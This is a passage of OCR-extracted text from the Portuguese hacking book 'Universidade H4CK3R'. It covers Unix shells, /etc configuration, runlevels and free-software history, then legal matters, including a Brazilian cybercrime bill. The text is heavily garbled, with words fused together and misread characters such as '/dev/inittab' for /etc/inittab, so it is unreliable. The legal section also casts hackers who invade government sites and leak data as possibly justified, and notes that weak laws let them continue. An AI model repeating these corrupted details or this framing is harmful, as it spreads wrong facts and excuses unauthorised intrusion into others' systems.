usuáriopossaprecisar.No Unix,menosé mais. 7 Qualquer ambientegráfico no Unix pode ser considerado "um shell sobre o shell..,portanto, o raciocínio aqui descrito ainda é válido.A grosso modo todos os processos gerados dentro do ambientegráfico sãofilhos ou descendentesdo servidorX, damesmaforma que osprocessosgeradospelo shell sãofilhos do mesmoshell. 1101 1 1 PlataformaUnix
  • I Universidade H4CK3R I Minha coleçãode conchas Há diversosshellsdisponíveispara o usuário.Cada implementaçãodo Unix adotaa que maisconvém ao fabricanteou ao destino a ser dado ao sistema. Normalmentesãodistribuídostrêsshellscom os Unix comerciais:Bourne,Korn e C Shell. Mais recentemente,os sistemastambémincluem a versãoGNU do BourneShell,chamadadeBourneAgainShellou Bash.Todoselessuportammani- pulaçãodeprocessos,redirecionamentoe piping, característicascomunsemum sistemaUnix. Mas,obviamente,cadaum tem suasparticularidades. Desenvolvidoem 1975por S.R. Bourne, o Bourne Shellfoi um dosprimeiros a seremimplementadose serviucomo referênciaaos que vieram depois. Sim- plificavasobremaneiraa operaçãodo Unix, que atéentãocalcava-senum shell muito primitivo.Mas aindaeramuito simples,emborapor issomesmoseja,até hoje, o menor em tamanhoe o maisrápido. A evoluçãodoBourneShellfoio C Shell,desenvolvidopeloentãoprofessorBillJoy.O C Shellimplementouohistóricodecomandos(sevocêjádigitou,nãoprecisadigitarde novo,bastaprocurarnalista),o alias(permiteatribuirapelidoscurtosalongoscoman- doscomdiversospipes)e controledeprocessosemforegrounde backgound.Masa maiorcaracteristicado C-Shellé asintaxedoscomandos,muitoparecidacomado C, facilitandosobremaneiraa criaçãodeshellscripts.Recentemente,foi desenvolvidoo TC ShellouTurboC Shell,commelhoriasnainteratividadedareediçãodecomandos. Um môridodosdoisanterioresfoi o Korn Shell,desenvolvidopor DavidKorn da AT&T.Eletentaserumaalternativacoerente,implementandoascaracterísticaspositi- vasdeambosos shellsanteriorese eliminandoasconflitantes. O BashéareimplementaçãodoprojetoGNUparao BourneShelle recebeudiversas melhoriasnareediçãodelinhadecomando,emboramantendoasmesmascaracterísti- casdo antecessorcomrelaçãoa scripts. Falamosalgumasvezesemshellscriptsnosúltimosparágrafos.Maso queseráisso? Scriptfor ajester'stear8 o shell é, primariamente,um interpretadorde comandosque responde interativamenteaosestímulosdousuário,mastambémpermitecriarumarquivo comumalistadecomandosqueserãoexecutadosseqüencialmente.Comumpou- co deprática,é possíveltransformaressas"listasde comandos"emprogramas úteisqueexecutamtarefasmuitocomplexas.Um programadortarimbadopode implementarcomshellscriptsqualquerserviçoemumamáquinaUnix,inclusive comacessodebaixonívelahardware,semprecisarconhecerC ouAssembly. Consulte(noCD)os apêndicessobreprogramação.Háumaparteespecialso- breshellscript.Sugerimostambémqueoleitoraprofunde-senisso.Umbomhacker transitacomgalhardiapelosUnix shellscripts.A Internetestárepletadesites sobreo assunto,bastaprocurarno seusitede buscasfavorito.No CD estão incluídosalgunstutoriais.Pratique!É importante! 8 Álbumde estréiada bandabritânicade rock Marillion,lançadoem 1980. 1102 I PlataformaUnix[
  • Universidade1°ano Todos os segredos estão no /etc9 DetodosostesourosescondidosnasentranhasdossistemasUnix,algunsdos maisvaliososestãonessediretório:é nele que todasas configuraçõessão mantidas.Vimosno capítulo3 queo MicrosoftWindowspossuiumaentidade chamadaRegistroe quetodoo sistemagiraemtornodele.O assuntotomou grandepartedo capítuloanterior.Emse tratandodeUnix,há maisa sefalar sobreo sistemadearquivos,shelle processosdoquesobreo /dev. Emborasejaachavedaoperaçãodosistema- naprática,quasetudoo queum administradordesistemasprecisasaberestáaí-, o /etcétãosimplesdeserenten- didoque,comoconjunto,nãohámuitoo quesefalarsobreele.Asconfigurações estãoguardadasemarquivosdetextopurohumanamentelegíveis.Osautoresvêem essaabordagemcommelhoresolhosquandoconfrontadoscomo paradigmado RegistronoWindows.Mas,comotudo,tambémháalgumasdesvantagensnessa abordagem.A maioriadelasadvémdafaltadepadrões,quefazcomqueo Unixda lliM,oAIX,sejamuitíssimodiferentedoUnixdaSun,o Solaris,porexemplo. Ao contráriodoWindows,emqueo registroé gravadonormalmenteemdoisa cincoarquivos,noUnixcadaaspectodosistemapossuiumarquivodiferente,nor- malmentepequenoe deconteúdosimples.Bomparaamodularidadedosistema, ruimparaaoperação:sãodezenasdearquivospadronizadose centenasdeoutros quesãodependentesdaimplementação.Éóbvioqueessecenárioémenoscompli- cadoqueaorganizaçãodasHKEYSnoWmdows,masaindaassiméamedrontador. Comobônus,ossistemasUnixnoslivramdasmalditaschavesCLSID- parausar umprogramacomoservidordeumscriptbastausarasAPIs,amplamentedocu- mentadas,muitomaissimpleseemlínguahumana.Comodemérito,ajácitadafalta depadrõesforçaosusuáriosa especializarseusscriptsmaiscomplexos,poisnão funcionarãodamesmaformaemtodasasimplementações. Inittab and the RunLeveLs (parecebandade rock, mas não é...) Logo após o boot, o kernel inicia o primeiro processo,pai de todos,o init.A primeira providência do init é ler sua tabeladescritiva,armazenadaem /dev/ inittab. Essearquivo informa ao init onde estão os daemons que devem ser inicializados,quaisos scriptsque contêm astarefasdo processo init, quantose quais terminais serão ativados e algumas"armadilhas"(traps) para sinais do sistema,tratando-oscom a rotina correta. O inittab tambéminformao processo init a respeito dos níveis de execução (ou runlevels)do sistema.Runlevelssãodiferentesníveisnos quaiso Unix pode operar,e indicamquaisserviçosdevemser iniciadospelo init e quaisdevemser fmalizados.Um runlevelmaisbaixo indica que há menosserviçosrodando,um mais alto significamuitos daemonssendo inicializados.Examinandoum siste- ma Red Hat Linux, encontramosseisrunlevels: 9 Títuloreproduzidocoma permissãodaRevistado Linux. 1103 1 1 PlataformaUnix
  • I Universidade H4CK3R I I o-Halt:o sistemaencerrasuasatividadese desliga I - Monousuário 2 - Multiusuário 3 - Multiusuáriocomserviçosderede 4 - Nãousado 5 -XII: o mesmoque3,masemmodográfico 6 - Reboot:o sistemaencerrasuasatividadese reinicia CadasabordeUnixtemsuaprópriaconfiguraçãoderunlevels,e mesmodife- rentesdistribuiçõesLinux possuemesquemasdiversos.Por exemplo,num SlackwareLinuxe numHP-UXo níveldeexecuçãodapartegráficaé 4 enão5. Quandoo inité criado,o kernelpassaa eleemqualrunlevelo sistemadeve funcionar.Seessainformaçãonãoforpassada,o próprioinittabinformaqualo valordefault.É possívelmudaro níveldeexecuçãoduranteaoperaçãodoUnix como comandoinitn,emquen énúmerodorunlevelparao qualqueremos"ir". Notequeosníveisdeexecuçãosãomeramentelistasordenadasdeprocessos a sereminiciadosou [malizados.Quandovocê"passa"do runlevel3 parao 5 (como comandoinit5),porexemplo,váriosprocessosdorunlevel3 sãotermi- nadosantesqueosdorunlevel5sejaminicializados.Enotetambémqueo usuá- rio pode,manualmente,chamarprogramasnãoprevistosnessenível.Estando emrunlevel3 (modotexto)o usuáriopodechamaro servidorX e trabalharem umambientegráfico.Elenãoprecisoudeixaro nível3 e entrarno 5paraisso. Tenhaemmentequeos runlevelssãomeiosde facilitara administraçãodo queseráinicializadoquandovocêligaa máquina.Fazendoumparalelocomo antigoMS-DOS,pensenelescomoumasériedearquivosAUTOEXEC.BAT,cada uminiciandoumagamadiferentedeprogramas. Todososdaemonsinicializáveisnobootpossuemumscriptnodiretórioinit.d.Na maioriadossistemasLinuxestediretórioestáno /etc,nosoutrossaboresdeUnix issovariabastante.No HP-UX,por exemplo,taisscriptsestãoem/bin/init.d.Eles carregamedescarregamo daemonnamemória,fornecemo estadodeexecuçãodo programa,recarregamasconfiguraçõesdomesmosempararo processamento- tudodependedoparâmetropassadoaoscript- e podemserexecutadosmanual- mentepelosuperusuário,casoqueirapararouiniciaralgumserviço.Massãousados principalmenteparaainicializaçãoautomáticapeloesquemaderunlevels. HáumoutroconjuntodediretórioschamadosdercN.d,sendoN o númerodo níveldeexecução.Osserviçosasereminicializadosnorunlevel3,porexemplo, estãoemrc3.d.A localizaçãodesseconjuntodediretóriostambémvariamuito entreosdiferentessaboresdeUnix.Podemestarem/etc,/etc/init.d,/sbinou/bin. Dentrodo diretóriorcN.dhádiversoslinkssimbólicos.Pensenoslinkssim- bólicos(ou symlinks)comoos atalhosdoWindows:entidadesque apontam parao arquivoverdadeiro.Os nomesdo symlinksdessesdiretóriostêma se- guinteestrutura: 104 I PlataformaUnixI
  • Universidade1° ano Xnnnnome_do_daemon X podeserumadeduasletras:SouK. Sindicaaoprocessoinitqueo daemon temdeserinicializadoquandoseentranaquelerunlevel,eK indicaqueodaemon temdeserterminadoaosairdo runlevel.nnn é um grupode trêsalgarismos queindicaa ordempelaqualos processossãoiniciadosou mortos.Sistemas GNU/Unux usamapenasdoisalgarismos.O nome_do_daemonserveapenas paraidentificaro symlink. Umexemploprático.O servidordee-mailsendmailtemdeserinicializadoquan- doentramosnonível3.Paratanto,háumsymlinkapontandoparainit.d/sendmail: S980sendmail Issoindicaaoprocessoinitparainicializaro sendmailnaposição980(ouseja, depoisqueosserviçoscomnúmerosmenoresjáestivereminicializados).Quan- doo Unixdeixao runlevel3(nodesligamentodamáquina,porexemplo),o link simbólicocorrespondente- tambémapontandoparainit.d/sendmail- é: K120sendmail indicandoaoinit paradesligaro sendmailnaposição120,depoisquetodos osprocessoscomnumeraçãomaisaltaque 120já tiveremsidoterminados. CadasabordeUnixpossuiuminittabeumesquemaderunlevelsque,apesar desemelhantes,sãodiferentes.Sugerimosaoleitorquevasculheessesarquivos emtodososUnix queestiveremàmão,comparando-osentresi.Nãoseatenha apenasaoinittab:visitetodososarquivosindicadosnele. Outras gemas O /etcencerraarquivosdeconfiguraçãoimportantes,muitosdelesdeaspectosjá tratadosnestecapítulo.Nãoénossoobjetivoserumafontecompletadeinformações sobreUnix- naverdade,estelivroapenasarranhaa superfície.Masumapesquisa maisaprofirndadanoconteúdododiretórioserádegrandevaliaparao leitor. Comonãohámuitosegredoemvisualizararquivosdetexto,deixamosaolei- toro ónusdedescobrircomoeparaqueservemcadaumdosarquivospresentes no/etc.Abaixoháumalistacomosarquivosrelevantesnamaioriados"sabores". Interrompaa leiturado livropor umasemanae estude-ostodos,consultando semprea páginademanual(mannome_do_arquivo)associada.Algunsnomes podemserdiferentesemseuUnix,maso arquivocorrespondenteestálá.Seo arquivoindicardiretóriosououtrosarquivos,visite-ose vejao queelescontêm. services protocols inetd.conf/xinetd.conf crontab profile bashrc cshrc shrc passwd/group/shadow hosts host.conf 1105 I ] PlataformaUnix
  • IUniversidade resolv.conf inittab fstab (vfstab no Solaris) mtab ld.so.conf netgroup netmasks termcap/printcap/screenrc toda a estrutura abaixo de init.d toda a estrutura abaixo de rc.d toda a estrutura abaixo de sysconfig Dica:emvezde cat,useparavisualizaros arquivoso comandomore,que mostraumapáginadevídeopor vez.Seo seusistemapossuir,useo 1essao invésdo more- comeleé possívelretrocedera páginasanteriores. omeueuquerodeflocos... Hávários"sabores"comerciaisdeUnix,cadaumdelescomsuasqualidadese problemas- entreeleso preço.ComoentãosaberqualUnix é o melhorpara você?Estaé umaperguntadificil de serrespondida.Normalmente,o melhor Unix é o quevocêjáusa,ouo quevocêestámaisacostumado.Outrasvezeso melhorUnixé o quejávemconfiguradodefábrica,é sóligareusar.Outrasainda dependemdopreçobaixo.Comosãoprodutosproprietários,joga-sedeacordo comessasregras.Seurepresentantetécnicoé seumelhoramigonessahora. MasháopçõesdesistemasUnixaquemchamamosdelivres.Sãosistemasoperacionais parecidoscomoUnix,mascujocódig~fonteéaberto- qualquerumpodelê-loesaber comofunciona.Sãonormalmentemantidosporvoluntáriosouempresasengajadasna produçãodeumsistemaquesejaindependentedefornecedor. Novamente,hávantagense desvantagens.Dentr
  • Universidade1°ano Free as in free speech... Nosprimórdiosdacomputação,nãohaviaessanoçãodesoftwareabertoou proprietárioporquetodosos programaspodiamserlivrementecompartilha- dos.Os usuáriosde informáticade entãoeramquasetodoscientistas,e o compartilhamentodeinformaçõesé algotrivialentreeles.O dinheirodo mer- cadodeinformáticacirculavaapenasparaasmãosdosfabricantesdehardware. Mas,àmedidaqueo tempofoi passando,apareceramempresasprodutorasde softwaredestinadoàvenda.Obviamentenãoerado interessedessasempresas queseussoftwaresfossemcopiadose distribuídosgratuitamente,portantoo código-fontenãoeradivulgado.Issopassoua sercomuma partirdeentão. RichardStallmaneraumprogramadorquetrabalhavaparaumaempresapri- vada.Ocorreque escreveuum programaque achourealmentebom e quis compartilhá-locoma comunidadeUnix deentão- masfoi impedidopeloseu empregador.Stallmannficou tãofrustradoqueradicalizou:pediudemissãoe, em1984,criouumprojeto- o GNU - e umalicença- a GPL. O projetoGNUlO- GNU'sNot Unix - é umatentativadecriarum clonedos sistemasUnixqueStallmannusava,masquenãopossuamnenhumcódigoorigi- naldaAT&T.Já foramcriadasdiversasferramentasparao sistema,incluindoas demanipulaçãodearquivos(1s,cd,pwd,caL.), compiladores(gcceg77,paraC eFortran,respectivamente)eprogramascomplexoscomoalinguagemdescripts gawke o editordetextosEmacs.O kemel,entretanto,nuncaficoupronto. A licençaGPL - GeneralPublicLicenceouLicençaPúblicaGeral- expressa- mentepermitea cópiae a distribuiçãogratuitado programasobessalicença, desdequeos códigos-fontedo programasejamdistribuídostambém.Issoper- miteareutilizaçãodocódigopor outraspessoassemrestrições- anãoserade respeitaros direitosdosautoresoriginaise nuncafecharo códigoresultante, impedindoqueoutrostenhamacessoa ele. Detalhessobreo queé SoftwareLivree o queé CódigoAbertoencheriam todasaspáginasdestelivro.Nossoobjetivonãoé versarsobreesseassunto. Mais informações podem ser obtidas no site oficial do projeto GNU (www.gnu.org).daFreeSoftwareFoundation(www.fsf.org)e do OpenSource Initiative(www.opensource.org). A dança dos pingüins Comovimos,o projetoGNU empacouno desenvolvimentode seupróprio keme1.Nessemeiotempo,umfinlandêsmalucochamadoLinusTorvaldscriava um kernelqueseriaumfenômenomundial:o Linux.Inicialmenteapenasum sistemade comunicaçãocomum BBS,o protótiporapidamenteevoluiupara 10Depoisdo GNU, viroumodacriarprogramascujosnomessejamsiglasrecorrentes.O símbolodo projetoGNU é umanimalencontradonaÁfricae parecidocom umbisão,cujonomeé...Gnu. 1107 I ] PlataformaUnix
  • IUniversidadeH4CK3RI umkerne1completo.Em1991,Torvaldsdecidiucolocaro Linuxsobrealicença GPL e usarasferramentasGNU comseukernel.É por issoqueospreciosistas do mundodacomputação(eumeincluonestegrupo!)referem-seao sistema comoGNU/Linux- seriainjustocomo Sr.Stallmansenãofosseassim. O LinuxéhojeumUnix-clonedebaixíssimocustoe altíssimodesempenho.Pro- jetadoinicialmenteparao lliM-PC,rodaemváriasplataformasdehardwarecomo mesmocódigo e funcionalidade- feito aindanão alcançadopor nenhum outro sistemaoperacional. O problemadoLinuxésuatristefaltadepadrões.Existemcentenasdedistribui- çõesaoredordoglobo,cadaumacomumaestruturainterna- incluindohierar- quiadediretórios- própria.Comofrisamosnoiníciodocapítulo,abasedosUnix é seusistemadearquivos.Issoresultaemsistemasque,apesardepossuíremo. mesmokernel,sãoincompatíveisentresi.O padrãoLinuxStandardBaseou LSB (www.linuxbase.org)éumesforçodasmaioresdistribuiçõesdomundopararesol- vero problema.Acredita-sequeempoucosanoshajacompatibilidadetotalentre todasasdistribuiçõesqueaderiremaopadrão. Parasabermaissobreo GNU/Linux,o melhorpontodepartidaé o siteoficial, www.linux.org.Paramaisinformações,bastaprocurarpor eleemseumecanis- mo de buscafavorito.O Googlepossuium endereçodedicadoa Linux em www.google.com/linux.Há revistasespecializadasquepodemserconsultadas, entreelasaRevistado linux, aArquivolinux,a linux BR,e muitosbonslivros podemserencontradosemlivrarias.Masnãodeixedeestudá-lo.É obrigatório! o diabinhoqueri... Linuxnãoésuficientepravocê?Quersaberumasegundaopinião?Experimeite asvarianteslivresdoUnix daUniversidadedeBerkeley.Comsuaslicençasme- nosrestritivasqueaGPL,ossistemas*BSDpodemserusadosemsoluçõesquea licençado GNU/Linuxnãopermitiria.Cadaumtemsuascaracterísticas,e uma leituraemseussitesoficiaiscertamenteo deixarátentadoa experimentá-Ios. Muitosusuáriosdos*BSD(especialmentedoFreeBSD)saíramdoLinuxe dizem quenãovoltammais.Informaçõessobreo BSDpodemserobtidasem: ~ FreeBSD - www.freebsd.org ~ OpenBSD- WWTv.openbsd.org ~ NetBSD - www.netbsd.org ~ O BSDcomercialdaBSDi- www.bsdi.com 1108I PlataformaUnix[
  • Universidade1°ano Voucango onyour ownway...11 Nestaspoucaspáginas,tentamosintroduzirosprincpaisconceitosdossiste- masUnix. Há livrosinteirosescritosapenassobrepartesdo Unix, portanto, seriaimprudente(e desonesto)tentarcondensaremum capítuloo conteúdo deváriosdeles. Masémuitoimportantequeo leitorestudesobreUnix comafincoe procure outroslivrose outrasfontes.Visiteregularmentetodosos sitesindicadosao longodo capítuloe vasculhe-oscompletamente.Nadaé tãopoderosonamão deumhackerquantoumacontaemumcomputadorUnix ligadoà Internet. 11FleetwoodMac, do álbumRumoursde 1975. 1109I ]PlataformaUnix
  • Fundamentos Jurídicos Capítulo 'Annescislongasregibusessemanus?"I Ovídio,em Heroídes,17:166 1Não sabescomo asmãosdosreis sãocompridas?Um ditadopopular francêsOesrois ont les braslongs - os reis têm osbraçoslongos) é derivado dessetrecho dasHeroídes.
  • IUniversidadeH4CK3RI Se você está lidando com situações-limite, nunca é demais ter uma visão geral dos aspectos jurídicos que as afetam diretamente. Poucas situações são tão limítrofes quanto as enfrentadas pelos usuários de informática em geral e pelos hackerslem especial. O que é crime? O que é direito? O conhecimento é uma das principais armas do hacker, que deve estar atento aos movimentos feitos pelos governos e às políticas instituídas pelas empresas quanto à manipulação de da- dos. A ignorância em relação às leis pode trazer sérios problemas, mesmo em casos simples em que o usuário age de forma inocente sem saber que está come- tendo um crime. Estar atento aos casos que já ocorreram, para que não haja nenhuma dúvida de onde e como agir,é no mínimo uma atitude sábia. A palavralegislaçãonos dá uma vagaidéia de estarlidando com o bem e o mal. Há uma grandediscussãosobrea relatividadedessesconceitos,masdevemoster em men- te que a éticaque rege o possível conteúdo dessasleis parte da necessidadede prote- ção dasempresase dos governos.Nem sempre as leis são feitaspara o cidadão,nem sempre o que é legal é moralmentecorreto. Portanto, os indivíduos que a imprensa simplóriacostumachamarde hackersnem semprepodem ser tachadosde bandidos, embora,segundoa lei, geralmenteincomun em crimes por elaprevistos.Robin Hood era criminoso,mesmo agindo segundoprincípios morais extremamenteelevados. As grandes estratégias para o combate aos cibercrimes começaram a ser elaboradas após os atentados terroristas ocorridos nos Estados Unidos no dia 11 de setembro de 2001. Desde então o governo norte-americano passou a ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros governos leis que facilitem a ingerência dos Estados Unidos nesses assuntos; e, "de quebra", em todos os outros... Por quea sociedadetemeos hackers? Para a sociedade, a imagem dos hackers está intimamente ligada ao crime. Esse estereótipo vem da falta de compreensão do universo digital em que estão inseridos. Eles são vistos como destruidores e ladrões de dados, que se utilizam de meios ilícitos para roubo, vandalismo ou lavagem de dinheiro. Muito dessa imagem é fruto da divulgação míope promovida pelos meios de comunicação. Nunca o outro lado, o lado do underground, o lado da guerrilha, o lado da resistência, é levado em conta. Apenas as empresas e os governos, al- guns deles autoritários (embora travestidos de democráticos), têm espaço na mídia quando um evento desses acontece. A pergunta que fica é: você realmente acredita em tudo o que lê? Talvez o jornal televisivo das 21h não seja aquela fonte confiável de informação que você está acostumado a pensar que era. 2FntendaapalavrahackernesseparágrafotantoemseusenddoorigimJl(especiaJista)comonopopular(especia1ista malvado).Ambos devemsaberaté ondepodem ir,e deddir se vão tr.msgredirou não os (nem semprejustos ou moralmentecorretos)limiteslegais. 1112I FundamentosJurídicos[
  • Universidade1°ano As liberdades individuaise o direito privado Ninguémtemdireitode invadira privacidadedaspessoas.Mesmoparecen- doóbvio,afirmaçõescomoessastêmdeserincluídasemqualquerdocumento ou lei quetratedasgarantiasde inviolabilidadeprivada.As constituiçõesde quasetodosospaísespossuemalgumdispositivosemelhante,e mesmoa De- claraçãoUniversaldosDireitosHumanosprevêa proteçãoà vidapessoale privadadaspessoasjá emseusprimeirosparágrafos. O quetristementevemosacontecertodosos dias,desdeo fimda23Guerra Mundial,éumrecrudescimentodasleisnacionaisbuscandoummaiorcontrole dosgovernossobreseuscidadãos.Todososdias,desdeentão,novastecnologias sãoaplicadasemcontroversose arbitráriossistemasde monitoração.Com a desculpadeque"apolíciaprecisafazerseutrabalho",muitaspessoasdurante todoo séculoXX tiveramseustelefonesgrampeados,suascorrespondências violadas,seuspassosseguidose,nosanos90,suaatividadenaInternetvigiada. Quantossegredospessoais- mesmonãosendocrimes- nãoforamrevelados publicamentepor contadessaarbitrariedade? Algunspaísescomeçarama chamarparasi a responsabilidadedesera"polí- ciadomundo"e,paratanto,atéhojesubmetemoutrosgovernosmenospodero- sosàs suaspolíticas.Fingindoestarà caçade terroristasou de protegero mundocontraindivíduosperigosos(e jogandonummesmocaldeirãohackers, terroristas, guerrilheiros e comunistas - quem não se lembra da guerra fria?), naçõespoderosasviolamasoberaniadepaísese impõemsuascartilhascomer- ciaise políticas.Belamaneiradedisfarçarsegundasintenções,nãoé mesmo? Longedeentrarnessadiscussãopolítica,osautoresqueremchamaraatenção do leitorparao perigoincipientedaaprovaçãodeleisoumesmoconstituções elaboradasparaprotegerosinteressesdeterceirose nãodoscidadãos.Pergun- te a umadvogadosobreo assunto.Vocêficarásurpresocoma quantidadede garantiasqueempresasestrangeiraspossuemaquino Brasilemdetrimentodas necessidadesbásicasdoscidadãos,sempredeixadasemsegundoplano. Todamoedatemdois lados.Há hackersagindocomcondutaduvidosa.Há gentemuitobemtreinadabisbilhotandoseussegredosemcasaounotrabalho. Hávândalosquefazemtudopeloprazerdedestruir.Assimcomohágovernos e empresascomintençõesnãomuitonobres,háhackers(e nãosãopoucos) quesão,realmente,criminosose devemserpunidospor isso.Fazerleisque protejamindivíduose entidadespúblicase privadasdesses"hackersdo mal" semferir os direitosdeprivacidadedaspessoasé umatarefadificílima. 1113 1 ]FundamentosJurídicos
  • I Universidade H4CK3R ! o direitoà informaçãoeosataquesà liberdade Já quenãopodemosconfiaremgovernose suasleis,por queentãodispararflechas acusadorassobrepessoasqueo establishmentconsideracomocriminosas?Usandoo bomsenso3,qualquerumnaruaperceberiaqueumapessoacomoDmitrySklyarovnão tevea intençãodeprejudicarumaempresacomoaAdobe,massimalertarospossíveis usuáriose aprópriaAdobequeseusistemadecriptografiaera(e aindaé) fulho.Masa empresanãoentendeudessaforma,e usouos dispositivoslegaisprevistospeloDigital MilleniumCopyrightAct,o fàmigeradoDMCA,paraprocessá-lo. Esseé um dosmuitoscasosdeleisinjustasou malidosasquetrabalhamemfavorde governosougrandesempresasecontrao interessecomum.hnagineempresaseindivídu- os confiandocegamentena criptografiadaAdobeparaprotegerseusdocumentos,se- jamelessegredosindustriaisou correspondêndasamorosas.Comesseprocessocontra o hackerrusso,aAdobetentouvarrerparadebaixodo tapeteos problemasde sua tecnologia,emvezdeagradeceraSklyarovoumesmocontratá-Ioparamelhorá-Ia. Algunsmesesdepois,todosossitesdenoridasdetecnologiadivulgaramatentativada Microsoftdetransformaremcrimeadivulgaçãodefà.1hasdesoftwarepor"agentesnão autorizados"(leia-se:euevocê).Como pretextodequeasdivulagaçõesdefà.1has"atrapa- lhamainovação",tentativascomoessasprocuraminstitudonalizarasujeirasobo tapete. Tal iniciativa,na época, nãoresultouemumalei.Masnãoesperequea turmade Redmondtenhadesistidodaidéia. Nãosóasempresassãobeneficiadasporessasaberraçõeslegais.A atualadministração federaldosFstadosUnidosdaAméricadivulgouum documentochamadodeDoutrina Bush,queescancaraasupremacianorte-americanaeferedefonnapornográficaosdireitos deddadãosnomundotodoeassoberaniasdetodosospaísesdoglobo. Todososgovernose amaioriadasgrandesempresasmanipulamou escondeminfor- maçõesecriamleisparatornarissolegal,mesmoqueasinformaçõessejamsobrevocê, caroleitor,ou o afetemdealgumaforma.Portanto,napróximavezemqueum hacker invadirumsitedogovernoouempresaedivulgarinformaçõesescabrosassobreaadmi- nistraçãoquevocêpodeterajudadoaeleger,reflitabastantee useo seubomsenso(e nãoo sensocomum)paradecidirqueméomocinhoequeméobandido. Maseoshackersrealmentemaus?Eassituaçõesnão-previstas?Eoshackers"poradden- te"?Todahistóriatemdoislados,eomoralmentecorretonemsempreéoqueestádentroda lei.Masalgumasvezesestá."Nãojulgueis,paraquenãosejaisjulgados.Poiscomo critério comqueju1gardes,sereisjulgados...Portanto,tudoquanto,pois,quereisqueoshomens vosfaçam,assimfazei~vós tambéma eles..:'(Evangelhode SãoMateus7:1,2,12). 3Na escolinha de inglês aprendemos que anossa expressão "bom senso"rraduz-6e como "common sense"em inglês.Numa lraduÇio literal, o commonsensedosnorte-americanospodeserescritocomosensocomumAdikrençaentreambasasronnas,enrretanto,nãoéapenasliteral. Ospovoslatinos,europeus,ali'icanoseasiáticostêmessanoÇio debomsenso:mdocina.tprimeiroatéencontrar"umasoluÇiológica,usando asabedoriapopular.Já o commonsensetemumaconotaçãodikrente:usarasconvençõesjáprontaspresentesnaculturaestadunidense,sem "pararpaIapensar".Portanto,bomsensoé igualapensatantesdeagir.Já commonsenseésinônimode idéiapré
  • Universidade1°ano A legislaçãobrasileira o grandetnrnfodoshackersbrasileirosé a faltadelegislaçãoapropriadapara lidarcomoscrimeseletrônicos.A faltadeleisespecíficastornao Brasilrunverda- deiroparaísoparatodoo tipodeinvasãoe manipulaçãoilícitadedados.Aspuni- çõesaplicadassãobaseadasemleisqueseaproximamdasituaçãodocrimeeletrô- nico.Grandepartedoscasosresolvidospelasautoridadesnacionaisé relativaa casosdepiratariae pedoftlia,e nãoinvasãoe"hackeamento"desistemas. A faltadeproteçãolegalpreocupamuitoo governoe asgrandesempresas, poisestassãoobrigadasa gastarquantiaselevadasde dinheirocomsoftwares e equipamentosparagarantira segurançade seusdados,e mesmoassimnão conseguemevitara açãodosvândalosdigitais. Preocupadoscom a situação,váriosdeputadosformularamprojetosde lei paradetera açãodosinvasores.Masdevidoaolentoprocessodeaprovação,à totalignorânciadosparlamentaresemrelaçãoaoassuntoe àsdiversascorre- çõesealteraçõesquedevemserfeitasatéquetudoestejaadequado,oshackers podemcontinuarutilizandosuashabilidadesparacontinuarsuaspesquisas.A seguir,temosruntrechoespecíficodoprojetodelei criadopelodeputadoDé- cio Bragaquetratadoscrimesdeinformática: "Dispõesobreos crimesde informáticae dáoutrasprovidências" CAPiTULO III DOS CRIMESDE INFORMÁTICA Dano a dadoou programade computador Art.8°.Apagar,destruir,modiflcaroudequalquerformainutilizar,totalouparci- almente,dadoouprogramadecomputador,deformaindevidaounãoautorizada. Pena:detençãodeuma trêsanosemulta. Parágrafoúnico.Seo crimeé cometido: I - contrao interessedaUnião,Estado,DistritoFederal,Município,órgãoou entidadedaadministraçãodiretaou indiretaou deempresaconcessionáriade serviçospúblicos; 11- comconsiderávelprejuízoparaa vítima; m -comintuitodelucroouvantagemdequalquerespécie,própriaoudeterceiro; IV - comabusodeconfiança; V -pormotivofútil; W- como usoindevidodesenhaouprocessodeidentificaçãodeterceiro;ou WI - coma utilizaçãodequalqueroutromeiofraudulento. Pena:detençãodedoisa quatroanosemulta. Acessoindevido ou não autorizado Art. 9°.Obteracesso,indevidoounãoautorizado,a computadorou redede computadores. 1115 1 I FundamentosJurídicos
  • I Universidade H4CK3R I Pena:detençãodeseismesesa umanoemu1ta. Parágrafoprimeiro.Na mesmapena incorre quem,semautorizaçãoou indevidamente,obtém,mantémou fornecea terceiroqualquermeiodeidenti- ficaçãoou acessoa computadorou rededecomputadores. Parágrafosegundo.Seo crimeé cometido: I - comacessoa computadorou redede computadoresda União,Estado, DistritoFederal,Município,órgãoouentidadedaadministraçãodiretaou indi- retaou deempresaconcessionáriadeserviçospúblicos; II - comconsiderávelprejuízoparaa vítima; 111- comintuitode lucro ou vantagemde qualquerespécie,própriaou de terceiro; IV - comabusodeconfiança; V -por motivofútil; W-como usoindevidodesenhaouprocessodeidentiflcaçãodeterceiro;ou WI - coma utilizaçãodequalqueroutromeiofraudulento. Pena:detençãodeuma doisanosemulta. Alteraçãodesenhaoumecanismodeacessoaprogramade computadorou dados Art. 10°.Apagar,destruir,alterar,ou de qualquerformainutilizar,senhaou qualqueroutromecanismodeacessoa computador,programadecomputador ou dados,deformaindevidaounãoautorizada. Pena:detençãodeumadoisanosemulta. Obtençãoindevidaou nãoautorizadadedadoou instmçãodecomputador Art.11°.Obter,manterou fornecer,semautorizaçãoou indevidamente,dado ou instruçãode computador. Pena:detençãode trêsmesesa umanoemu1ta. Parágrafoúnico.Seo crimeé cometido: I - comacessoa computadorou redede computadoresda União,Estado, DistritoFederal,Município,órgãoou entidadedaadministraçãodiretaou indi- retaou deempresaconcessionáriadeserviçospúblicos; 11- comconsiderávelprejuízoparaa vítima; 111- comintuitode lucro ou vantagemde qualquerespécie,própriaou de terceiro; IV - comabusodeconfiança; V -por motivofútil; W-como usoindevidodesenhaouprocessodeidentiflcaçãodeterceiro;ou WI - coma utilizaçãodequalqueroutromeiofraudu1ento. Pena:detençãodeumadoisanosemu1ta. 1116I FundamentosJurídicos[
